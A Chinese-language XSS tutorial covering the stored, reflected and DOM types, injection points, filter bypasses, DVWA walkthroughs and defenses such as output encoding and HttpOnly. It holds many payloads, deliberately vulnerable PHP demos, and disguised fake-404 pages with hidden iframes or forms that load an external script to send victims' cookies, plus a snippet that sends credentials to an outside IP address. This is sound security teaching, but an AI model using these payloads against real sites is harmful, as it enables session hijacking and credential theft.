XSS 跨站脚本攻击
0x01 XSS(Cross Site Script)简介
0x02 何为XSS
跨站脚本攻击XSS(Cross Site Script) 为了不和层叠式演示表(Cascading Style Sheets,CSS) 的缩写混淆,顾将跨站脚
本攻击缩写为XSS。恶意攻击者网web页面插入恶意Script代码,当用户浏览该页面时,嵌入web里面的script代码就会被执行,从
而达到攻击用户的目的。XSS攻击针对的是用户层面的攻击!
0x03 XSS存在的原因
XSS存在的根本原因是,对URL中的参数和对用户输入提交给web server的内容,没有进行充分的过滤。如果我们能够在web程序
中对用户提交的URL中的参数,和提交的所有内容进行充分的过滤,将所有的不合法的参数和输入内容过滤掉,那么就不会导致“在用
户的浏览器中执行攻击者自己定制的脚本”。
0x04 XSS漏洞的危害
|--->窃取cookie
|--->网络钓鱼
|------->针对用户-->|--->放马挖矿
| |--->广告刷流量
XSS----|
|
| |--->篡改页面
|----->针对web服务->|--->传播蠕虫
|--->内网扫描
|--->劫持后台
从以上我们可以知道,存储型的XSS危害最大。因为他存储在服务器端,所以不需要我们和被攻击者有任何接触,
只要被攻击者访问了该页面就会遭受攻击。而反射型和DOM型的XSS则需要我们去诱使用户点击我们构造的恶意的URL,
需要我们和用户有直接或者间接的接触,比如利用社会工程学或者利用在其他网页挂马的方式。
0x05 XSS 的分类及特点
XSS一般分为:存储型、反射型、DOM型
存储型和反射型区别:是否有交互
易用性排序:存储型 > DOM型 > 反射型
1. 存储型XSS
存储型XSS:持久化,代码是存储在web服务器中的,比如在跟人信息或发表文章等地方插入代码,
如果没有过滤或者过滤不严,那么这些代码将存储在服务器中,用户访问该页面的时候触发代码执行。
这种XSS比较危险,容易造成蠕虫、盗窃cookie。每一个访问特定页面的用户,都会受到攻击。
特点:
1> XSS攻击代码存储于web server上;
2> 攻击者,一般是通过网站的留言、评论、博客、日志等等功能(所有能够向web server输入内容的地方),
将攻击代码存储到web server上的;
2. 反射型XSS
反射型XSS:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),
一般容易出现在搜索页面。反射型XSS大多是是用来盗取用户的cookie信息。只要用户点击特定恶意
链接,服务器解析响应后,在返回的响应内出现攻击者的XSS代码,被浏览器执行。一来一去,XSS
攻击脚本被Web server反射回给浏览器执行,所以称为反射型XSS。
特点:
1> XSS攻击代码非持久性,也就是没有保存在web server中,而是出现在URL地址中;
2> 非持久性,那么攻击方式就不同了。一般是攻击者通过邮件,聊天软件等等方式发送攻击URL,
然后用户点击来达到攻击的;
有时持久性XSS和反射型XSS是同时使用的:
比如先通过对一个攻击url进行编码(来绕过xss filter),然后提交该web server(存储在web server中), 然后用户在浏览页面时,
如果点击该url,就会触发一个XSS攻击。当然用户点击该url时,也可能会触发一个CSRF(Cross site request forgery)攻击.
3. DOM型XSS
不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Object Model,DOM)的一种漏洞,
DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。
(dom-xss取决于输出位置,并不取决于输出环境,因此domxss既有可能是反射型的,也有可能是存储型的)
特点:
web server不参与,仅仅涉及到浏览器的XSS。
可触发DOM-XSS的属性:
document.referer
window.name
location
innerHTML
document.write
0x06 XSS的攻击过程
1.存储型XSS
1.Bob拥有一个Web站点,该站点允许用户发布信息/浏览已发布的信息;
2.Tom检测到Bob的站点存在存储型的XSS漏洞;
3.Tom在Bob的网站上发布一个带有恶意脚本的热点信息,该热点信息存储在了Bob的服务器的数据库中,然后吸引其它用户来阅读该热点信息;
4.Bob或者是任何的其他人如Alice浏览该信息之后,Tom的恶意脚本就会执行;
5.Tom的恶意脚本执行后,Tom就可以对浏览器该页面的用户发动一起XSS攻击。
2.反射型XSS
1.Alice经常浏览某个网站,此网站为Bob所拥有。Bob的站点需要Alice使用用户名/密码进行登录,并存储了Alice敏感信息(比如银行帐户信息);
2.Tom 发现 Bob的站点存在反射性的XSS漏洞;
3.Tom 利用Bob网站的反射型XSS漏洞编写了一个exp,做成链接的形式,并利用各种手段诱使Alice点击;
4.Alice在登录到Bob的站点后,浏览了 Tom 提供的恶意链接;
5.嵌入到恶意链接中的恶意脚本在Alice的浏览器中执行。此脚本盗窃敏感信息(cookie、帐号信息等信息)。然后在Alice完全不知情的情况下将这些信息发送给 Tom;
6.Tom 利用获取到的cookie就可以以Alice的身份登录Bob的站点,如果脚本的功更强大的话,Tom 还可以对Alice的浏览器做控制并进一步利用漏洞控制。
0x07 XSS的攻击载荷
以下所有标签的 > 都可以用 // 代替,例如 < script> alert(1) </script//
<script>标签:<script>标签是最直接的XSS有效载荷, 脚本标记可以引用外部的JavaScript代码,也可以将代码插入脚本标记中
-----------------------------
<script>alert("hello")</script> #弹出hello
<script>alert(/hello/)</script> #弹出hello
<script>alert(1)</script> #弹出1,对于数字可以不用引号
<script>alert(document.cookie)</script> #弹出cookie
<script src=http://xxx.com/xss.js></script> #引用外部的xss
------------------------------
<svg>标签:
------------------------------
<svg onload="alert(1)">
<svg onload="alert(1)"//
------------------------------
<img>标签:
------------------------------
<img src=1 οnerrοr=alert("hack")>
<img src=1 οnerrοr=alert(document.cookie)> #弹出cookie
------------------------------
<body>标签:
------------------------------
<body οnlοad=alert(1)>
<body οnpageshοw=alert(1)>
------------------------------
<video>标签:
------------------------------
<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />
------------------------------
<Style>标签:
------------------------------
<style οnlοad=alert(1)></style>
------------------------------
0x08 XSS可以插入在那些地方
*用户输入作为script标签内容
*用户输入作为HTML注释内容
*用户输入作为HTML标签的属性名
*用户输入作为HTML标签的属性值
*用户输入作为HTML标签的名字
*直接插入到CSS里
**通过上述可插入的位置可知:千万不要引入任何不可信的第三方JavaScript到页面里!
----------------------------------
#用户输入作为HTML注释内容,导致攻击者可以进行闭合绕过
<!-- 用户输入 -->
<!-- --><script>alert('hack')</script><!-- -->
#用户输入作为标签属性名,导致攻击者可以进行闭合绕过
<div 用户输入="xx"> </div>
<div ></div><script>alert('hack')</script><div a="xx"> </div>
#用户输入作为标签属性值,导致攻击者可以进行闭合绕过
<div id="用户输入"></div>
<div id=""></div><script>alert('hack')</script><div a="x"></div>
#用户输入作为标签名,导致攻击者可以进行闭合绕过
<用户输入 id="xx" />
<><script>alert('hack')</script><b id="xx" />
#用户输入作为CSS内容,导致攻击者可以进行闭合绕过
<style>用户输入<style>
<style> </style><script>alert('hack')</script><style> </style>
----------------------------------
0x09 XSS漏洞的挖掘
黑盒测试:
尽可能找到一切用户可控并且能够输出在页面代码中的地方,比如下面这些:
*URL的每一个参数
*URL本身
*表单
*搜索框
---------------------
常见业务场景:
*重灾区:评论区、留言区、个人信息、订单信息等
*针对型:站内信、网页即时通讯、私信、意见反馈
*存在风险:搜索框、当前目录、图片属性等
----------------------
白盒测试(代码审计):
关于XSS的代码审计主要就是从接收参数的地方和一些关键词入手:
PHP中常见的接受参数$_GET、$_POST、$_REQUEST等,可以搜索所有接受参数的
地方,然后对收到的数据进行跟踪,看看有没有输出到页面中,然后看输出到页面的
数据是否进行了过滤和编码等处理。
也可以搜索类似echo这样的输出语句,跟踪输出的变量是从哪里来的,我们能否
控制,如果从数据库中取的,是否控制存到数据库中的数据,存到数据之前有没有进
行过滤等。
大多数程序会对接受参数封装在公共文件的函数中同一调用,我们就要审计这些
公共函数看看有没有过滤,能否绕过等。
同理审计DOM-XSS可以搜索一些js操作DOM元素的关键字进行审计。
----------------------
0x0a XSS漏洞的简单攻击测试
1. 反射型xss
------------------------------------
//前端 1.html:
<html>
<head lang="en">
<meta charset="UTF-8">
<title>反射型XSS</title>
</head>
<body>
<form action="action.php" method="post">
<input type="text" name="name" />
<input type="submit" value="提交">
</form>
</body>
</html>
------------------------
//后端 action.php:
<?php
$name=$_POST["name"];
echo $name;
?>
--------------------------------------
提交数据:<script>alert('hack')</script> 弹框hack,插入的语句被执行;
数据流向:前端-->后端-->前端
2. 存储型ss
------------------------------
//前端:2.html
<html>
<head lang="en">
<meta charset="UTF-8">
<title>存储型XSS</title>
</head>
<body>
<form action="action2.php" method="post">
输入你的ID: <input type="text" name="id" /> <br/>
输入你的Name:<input type="text" name="name" /> <br/>
<input type="submit" value="提交">
</form>
</body>
</html>
-------------------------------
//后端:action2.php
<?php
$id=$_POST["id"];
$name=$_POST["name"];
mysql_connect("localhost","root","root");
mysql_select_db("test");
$sql="insert into xss value ($id,'$name')";
$result=mysql_query($sql);
?>
------------------------------
//供其他用户访问页面:show2.php
<?php
mysql_connect("localhost","root","root");
mysql_select_db("test");
$sql="select * from xss where id=1";
$result=mysql_query($sql);
while($row=mysql_fetch_array($result)){
echo $row['name'];
}
?>
---------------------------------
这里有一个用户提交的页面,数据交给后端后,后端存储在数据库中。然后当其他用户
访问另一个页面时,后端调出改数据,显示给另一个用户,XSS代码执行。
-----------------------------------
我们输入1和<script>alert(\'hack\')</script>,注意,这里的hack的单引号要进行转义,
因为sql语句中的$name是单引号的,所以这里不转义的话就会闭合sql语句中的单引号。
-----------------------------------
当我们提交1和<script>alert(\'hack\')</script>后,XSS代码被插入数据库,
然后当其他用户访问show2.php时,查询id=1,echo $row['name'],xss代码被执行。
-----------------------------------
数据流向:前端-->后端-->数据库-->后端-->前端
3. DOM-xss
----------------------------------
// 前端3.html
<html>
<head lang="en">
<meta charset="UTF-8">
<title>DOM型XSS</title>
</head>
<body>
<form action="action3.php" method="post">
<input type="text" name="name" />
<input type="submit" value="提交">
</form>
</body>
</html>
-----------------------
// 后端action3.php
<?php
$name=$_POST["name"];
?>
<input id="text" type="text" value="<?php echo $name; ?>"/>
<div id="print"></div>
<script type="text/javascript">
var text=document.getElementById("text");
var print=document.getElementById("print");
print.innerHTML=text.value; // 获取 text的值,并且输出在print内。这里是导致xss的主要原因。
</script>
------------------------------
这是一个用户提交页面,用户可以在此提交数据,数据提交后给后台处理:
------------------------------
提交数据:<img src=1 οnerrοr=alert('hack')> ,弹窗hack
------------------------------
数据流向:前端-->浏览器
0x0b XSS的简单绕过滤和绕过
----------------------------------
1.区分大小写过滤标签:
过滤:$name=preg_replace("/<script>/","",$name); //过滤<script>
$name=preg_replace("/<\/script>/","",$name); //过滤</script>
绕过:可以使用大小写绕过 <scripT>alert('hack')</scripT>
----------------------------------
2.不区分大小写过滤标签:/i:不区分大小写
过滤:$name=preg_replace("/<script>/i","",$name); //不区分大小写过滤 <script>
$name=preg_replace("/<\/script>/i","",$name); //不区分大小写过滤 </script>
绕过:可以使用嵌套的script标签绕过:<scr<script>ipt>alert('hack')</scr</script>ipt>
----------------------------------
3.不区分大小写,过滤之间的所有内容:
过滤:$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); //过滤了<script 及其之间的所有内容
绕过:虽然无法使用<script>标签注入XSS代码,但是可以通过img、body等标签的事件
或者iframe等标签的 rc注入恶意的js代码。
<img src=1 οnerrοr=alert('hack')>
------------------------------------
0x0c 反射型XSS的利用优势
假设现在有一个网站存在反射型XSS,当用户登录该网站时,我们通过诱使用户点击我们精心制作的恶意连接,来盗取用户
的cookie并返回给我们,然后我们通过盗取的cookie以用户的身份登录该网站。
------------------------------------
get型:
当我们的输入参数的请求类型为get型时,即我们的输入参数是以URL方式提交;
该链接的为:http://127.0.0.1/vulnerabilities/xss_r/?name=<script>alert(/xss/)</script>
思考:怎么构造恶意代码用来诱使用户点击并且用户点击后不会发现点击了恶意链接呢?
--------------------------------
构造代码:
核心:<iframe src="http://127.0.0.1/vulnerabilities/xss_r/?name=<script src=https://t.cn/EtxZt8T></script>" style="display:none;"></iframe>
----------------------------
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>404 页面不存在 </title>
<style type="text/css">
body{font:14px/1.5 'Microsoft YaHei','微软雅黑',Helvetica,Sans-serif;min-width:1200px;background:#f0f1f3;}
.error-page{background:#f0f1f3;padding:80px 0 180px}
.error-page-main{position:relative;background:#f9f9f9;margin:0 auto;width:617px;-ms-box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:50px 50px 70px}
.error-page-main h3{font-size:24px;font-weight:400;border-bottom:1px solid #d0d0d0}
.error-page-main h3 strong{font-size:54px;font-weight:400;margin-right:20px}
</style>
</head>
<body>
<iframe src="http://127.0.0.1/vulnerabilities/xss_r/?name=<script src=https://t.cn/EtxZt8T></script>" style="display:none;"></iframe>
<div class="error-page">
<div class="error-page-container">
<div class="error-page-main">
<h3>
<strong>404</strong>很抱歉,您要访问的页面不存在!
</h3>
</div>
</div>
</div>
</body>
</html>
------------------------------
将其保存为html页面,然后放在我们自己的服务器上,作为一个链接。当用户登录了存在漏洞的网站,并且用户点击了
我们构造的恶意链接时,该链接页面会偷偷打开一个iframe框架,iframe会访问其中的链接,然后执行我们的js代码。
该js代码会把存在漏洞的网站的cookie发送到我们的平台上,而用户却浑然不知,只会获得一个404错误页面。
注:我们的攻击代码可以利用的前提是存在XSS漏洞的网站的X-Frame-options未配置,并且会话Cookie没有设置Http Only属性
=======================================
post型
假设一网站的用户名输入框存在反射型XSS漏洞:
构造代码:
-------------------------------
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>404 页面不存在 </title>
<style type="text/css">
body{font:14px/1.5 'Microsoft YaHei','微软雅黑',Helvetica,Sans-serif;min-width:1200px;background:#f0f1f3;}
.error-page{background:#f0f1f3;padding:80px 0 180px}
.error-page-main{position:relative;background:#f9f9f9;margin:0 auto;width:617px;-ms-box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:50px 50px 70px}
.error-page-main h3{font-size:24px;font-weight:400;border-bottom:1px solid #d0d0d0}
.error-page-main h3 strong{font-size:54px;font-weight:400;margin-right:20px}
</style>
<script type="text/javascript">
function attack()
{
document.getElementById("transfer").submit();
}
</script>
</head>
<body>
<iframe src="form.html" frameborder="0" style="display: none"></iframe>
<div class="error-page">
<div class="error-page-container">
<div class="error-page-main">
<h3>
<strong>404</strong>很抱歉,您要访问的页面不存在!
</h3>
</div>
</div>
<form method="POST" id="transfer" action="http://127.0.0.1/xss/action.php" target="frameName">
<input type="hidden" name="username" value="<script src=https://t.cn/EtxZt8T></script>">
<input type="hidden" name="password" value="1">
</form>
<iframe src="" frameborder="0" name="frameName" style="display: none"></iframe>
</div>
</body>
</html>
------------------------------------//form表单target属性:指定框架打开的位置
将其保存为html页面,然后放在我们自己的服务器上,作为一个链接。当用户登录了存在漏洞的网站,并且用户点击了
我们构造的恶意链接时,该链接页面会偷偷打开一个iframe框架,iframe会访问其中的链接,然后执行我们的js代码,
完成表单的提交,表单的用户名参数是我们的js代码。提交完该表单后,该js代码会把存在漏洞的网站的cookie发送到
我们的平台上,单用户却浑然不知,只会获得一个404错误页面。
这里的404页面中隐藏了一个form提交表单,为了防止提交表单后跳转,在表单中添加一个iframe框架,并且iframe框架
的name等于form表单的target,并且设置iframe框架不可见。
当用户点击我们构造的恶意链接时,发现是一个404页面。实际上这个页面偷偷地进行了页面的提交,提交到了我们
指定的平台位置。
0x0d 利用js将用户信息发送给后台
构造代码:
--------------------------------------
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<script src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js"></script>
<script>
$(function(){
//我们现在假如 user和pass是我们利用js获得的用户的用户名和密码
user="admin";
pass="root";
url="http://120.79.74.249:8080/?user="+user+"&pass="+pass;
var frame=$("<iframe>");
frame.attr("src",url);
frame.attr("style","display:none");
$("#body").append(frame); //添加一个iframe框架,并设置不显示。这个框架会偷偷访问该链接。
});
</script>
</head>
<body id="body">
<h3>hello,word!</h3>
</body>
</html>
-------------------------------------
当用户访问了该页面,我们后台就可以看到用户访问记录。
0x0e dvwa之XSS Reflected
1.low 级别
未进行过滤,构造payload
payload:<script>alert("x");</script>
2. medium级别
过滤规则:把< script>用str_replace()函数替换为空了:
尝试双写<script>标签:<sc<script>ript>alert("x");</sc</script>ript>-->
发现返回hello ript>:问题很奇怪,查看源码,发现:</sc</script>ript>没有被过滤,仅过滤了
<script>标签,所以加载payload:<sc<script>ript>alert("x");</script>弹窗
<pre>
Hello
<script>
alert("x");</sc
</script>
ript>
</pre>
------------------------------
试一下改变大小写可以不:加载payload:<sCrIPt>alert("x");</sCrIpT>弹窗,说明没有对大小写过滤
------------------------------
action one:双写型payload:<sc< script>ript>alert(“x”);</ script>
action two:大小写型payload:< sCrIPt>alert(“x”);</ sCrIpT>
3. high 级别
过滤规则:$name = preg_replace( ‘/<(.)s(.)c(.)r(.)i(.)p(.)t/i’, ‘’, $_GET[ ‘name’ ] ); 对任何模式的script都过滤了,换标签:
构造payload:<img src=0 onerror=alert("xss")>
4. impossible 级别
服务器端核心代码:
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
-------------------------------------------------
可以看到,Impossible级别的代码使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为 HTML 实体,
防止浏览器将其作为HTML元素。
可以看出,impossible级别的代码先判断name是否为空,不为空的话然后验证其token,来防范CSRF攻击。
然后再用 htmlspecialchars函数将name中的预定义字符转换成html实体,这样就防止了我们填入标签
当我们输入 <script>alert('hack')</script> 时,因为 htmlspecialchars 函数会将 < 和 > 转换成html实体,并且${name}取的是$name的值,
然后包围在<pre></pre>标签中被打印出来,所以我们插入的语句并不会被执行。
当我们提交<script>alert("hack");</script>时,通过可以查看源代码,表单提交的过程中,把我们的user_token也一并提交了,
来和服务器端的session_token做验证,防止CSRF攻击。我们输入的代码,直接被当成html文本给打印出来了,并不会被当成js脚本执行
0x0f dvwa之XSS Store
------------------------------
相关函数介绍
trim(string,charlist)
函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、\t、\n、\x0B、\r以及空格,
可选参数charlist支持添加额外需要删除的字符。
mysql_real_escape_string(string,connection)
函数会对字符串中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。
stripslashes(string)
函数删除字符串中的反斜杠。
------------------------------
1.low 级别
未进行过滤
构造payload: name=1
massage=<script>alert("x");</script>
2. medium 级别
strip_tags() 函数剥去字符串中的HTML、XML以及PHP的标签,(未过滤使用<b>标签)。
addslashes() 函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。
可以看到,由于对message参数使用了htmlspecialchars函数进行编码,因此无法再通过message参数
注入XSS代码,但是对于name参数,只是简单过滤了<script>字符串,仍然存在存储型的XSS。
直接尝试:payload:< script>alert(“x”);</ script>,发现显示alert(“x”);并不弹窗,
应该是标签被过滤了,换个标签试试:<img src=0 οnerrοr=alert(“xss”)>发现没有显示信息,也没有弹窗
action one:双写(bp拦截)
构造payload:name = <sc<script>ript>alert("x");</script>
message =132
action two:大小写
构造payload:name = <sCrIPt>alert("x");</sCrIpT>
message = 123
action three:换标签
构造payload:name = <img src=0 onerror=alert("xss")>
message = 123
3. high 级别
构造payload:name = <img src=0 onerror=alert("xss")>
message = 123
4. impossible级别
通过使用htmlspecialchars函数,解决了XSS,所以无法注入。
通常有一些方式可以测试网站是否有正确处理特殊字符:
><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
"><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert (vulnerable)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
<img src="http://xxx.com/yyy.png" onerror="alert('XSS')">
<div style="height:expression(alert('XSS'),1)"></div>(这个仅于IE7(含)之前有效)
0x10 dvwa之DOM-xss
1. low级别
没有过滤,只是通过选择框限制了输入,通过Firefox的hackbar直接构造payload
payload:<script>alert("x");</script>
2. medium 级别
使用stripos对"<script"进行过滤,并且不区分大小写,如果有则置为English
1.此时查看源码:
<select name="default">
<option value="" disabled="disabled">----</option>
<option value="English">English</option>
<option value="French">French</option>
<option value="Spanish">Spanish</option>
<option value="German">German</option>
<input value="Select" type="submit">
</script>
2.输入的值会在value中显示,直接<script>alert("x");</script>被过滤,换用标签
使用payload:<img src=1 onerror=alert("xss")>
此时:
<option value="%3Cimg%20src=1%20onerror=alert(%22xss%22)%3E"></option>
<option value="" disabled="disabled">----</option>
<option value="English">English</option>
<option value="French">French</option>
<option value="Spanish">Spanish</option>
<option value="German">German</option>
</select>
发现标签未被显示,接着想办法闭合标签<select>和<select>让我们的payload加载到html
中能被执行:</option></select><img src=1 onerror=alert("xss")>
当然也可直接闭合<select>:payload:</select><img src=1 onerror=alert("xss")>
构造payload: </ select><img src=1 οnerrοr=alert(“xss”)>
3. high 级别
这里high级别的代码先判断defalut值是否为空,如果不为空的话,再用switch语句进行匹配,如果匹配成功,则插入case字段的
相应值,如果不匹配,则插入的是默认的值。此时,在URL中添加注释#注释的内容不会提交到服务器,而是在浏览器执行:
尝试English#< script >alert(“x”);
构造payload:English#<script>alert("x");
4.impossible 级别
impossible级别,居然只告诉我了这一句话:# Don’t need to do anything, protction handled on the client side ,当我们尝试注入
时,我们注入的内容都会经过URL编码显示在输入框,经过URL编码的内容被放在HTML标签中,而没有经过解码。所以不存在
注入。
0x11 防御
XSS防御的总体思路:对用户的输入(和URL参数)进行过滤、对输出进行html编
码。也就是对用户提交的内容进行过滤,对url的参数进行过滤,过滤掉会导致脚本执行
的相关内容;然后对动态输出到页面的内容进行thml编码,使脚本无法在浏览器中执行。
1.对输入的内容进行过滤:
对输入的内容进行过滤:(主要思路:将容易导致XSS攻击的边角字符替换成全角字符。)
对于每一个输入,在客户端和服务端还要进行各种验证,验证是否合法字符、长度是否
合法、格式是否合法,并且在客户端和服务端都要进行验证,因为客户端的验证很容易被绕过。
这种验证可以分为黑名单过滤和白名单过滤:其中,黑名单过滤即禁止某些字符通过验证,
虽然可以拦截大部分的XSS攻击,但是还是存在被绕过的风险;白名单过滤即允许某些字符通过,
虽然可以基本杜绝XSS攻击,但是真实环境中一般是不能进行如此严格的白名单过滤。
2. 对输出进行HTML编码
对输出进行html编码:(主要思路:在输出数据之前对潜在的威胁的字符进行编码、转义)
就是通过函数,将用户的输入的数据进行html编码,使其不能作为脚本执行而输出。也就是
在输出动态数据之前对潜在的威胁字符进行严格编码、转义,这是防御XSS攻击十分有效的措施,
使用的号理论上讲可以可以所有XSS攻击。
------------------------------
对所有动态输出到页面的内容,统统进行相关的转义和编码。当然转义是按照其输出的上下文决定
1).作为body文本输出、作为html标签的属性输出:
2).JavaScript事件
3).URL属性:
如果<script>,<style>,<imt>等标签的sr 和href属性值为动态内容那么要确保这些url没有执行恶意连接。
确保:href和src的值必须以http://开头,白名单方式;不能有10进制和16进制编码字符。
4).HTTPonly与XSS防御:
XSS一般利用js脚步读取用户浏览器中的Cookie,而如果在服务器端对Cookie设置了HttpOnly属性,
那么js脚本就不能读取到cookie,但是浏览器还是能够正常使用cookie
------------------------------------
使用php中的htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体:
#使用htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体
$name = htmlspecialchars( $_GET[ 'name' ] );
经过html编码后,<script>标签被当成了html实体。
------------------------------------
此外还可以故武器设置会话cookie的HTTP only属性,这样,客户端的js脚本就不能获取cookie。
============================================================
黑名单过滤:
-------------
列出不能出现的对象的清单,一旦出现就进行处理;
-------------
白名单过滤:
-------------
白名单列出的是可被接受的内容,比如规定所有的输入只能是“大小写的26个英
文字母和10个数字,还有-和_”,所有其他的输入都是非法的,会被抛弃掉。很显然如此严格
的白名单是可以100%拦截所有的XSS攻击的。但是现实情况一般是不能进行如此严格的白名单
过滤的。
-------------